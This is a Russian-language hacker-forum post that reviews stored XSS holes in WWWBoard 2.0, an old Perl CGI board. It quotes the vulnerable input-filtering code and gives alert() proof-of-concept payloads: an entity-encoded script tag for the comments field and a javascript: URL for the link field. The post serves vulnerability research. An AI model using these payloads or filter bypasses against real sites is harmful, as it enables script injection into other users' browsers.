Старый 09.07.2010, 00:29   #1
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
Cool Обзор Уязвимостей WWWBoard Version 2.0

Археология:1995-2000г,perl,cgi
Site: http://www.scriptarchive.com/wwwboard.html
Version: WWWBoard Version 2.0
Lang: Perl
Активная XSS
[Зависимости: $allow_html = 1;]
File: wwwboard.pl
Url:POST http://host/cgi-bin/wwwboard.pl


PHP код:
      if ($allow_html != 1) {
         
$value =~ s/<([^>]|\n)*>//g;
      
}
      else {
         
unless ($name eq 'body') {
        
$value =~ s/<([^>]|\n)*>//g;
         
}
      }
.......
   print 
NEWFILE "$body\n";
   print 
NEWFILE "<br>\n"
собственно если разрешен html то можно его прямо вставлять в файл. Видимо когда форум разрабатывался(1995-2000г) не было понятия xss.
обход $allow_html=0;

[Зависимости: нет]
Активная XSS
File: wwwboard.pl
Url:POST http://host/cgi-bin/wwwboard.pl
PHP код:
   if ($FORM{'body'}) {
      
$body "$FORM{'body'}";
      
$body =~ s/\cM//g;
      
$body =~ s/\n\n/<p>/g;
      
$body =~ s/\n/<br>/g;

      
$body =~ s/&lt;/</g
      
$body =~ s/&gt;/>/g
      
$body =~ s/&quot;/"/g;
   } 
в поле comments:
Код:
&lt;script&gt;alert('12345'); &lt;/script&gt;

[Зависимости: нет]
Активная XSS
File: wwwboard.pl
Url:POST http://host/cgi-bin/wwwboard.pl

PHP код:
   if ($FORM{'url'} =~ /.*\:.*\..*/ && $FORM{'url_title'}) {
      
$message_url "$FORM{'url'}";
      
$message_url_title "$FORM{'url_title'}";
   } 
в поле Optional Link URL:
Код:
javascript:alert(".");
точка обязательна
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot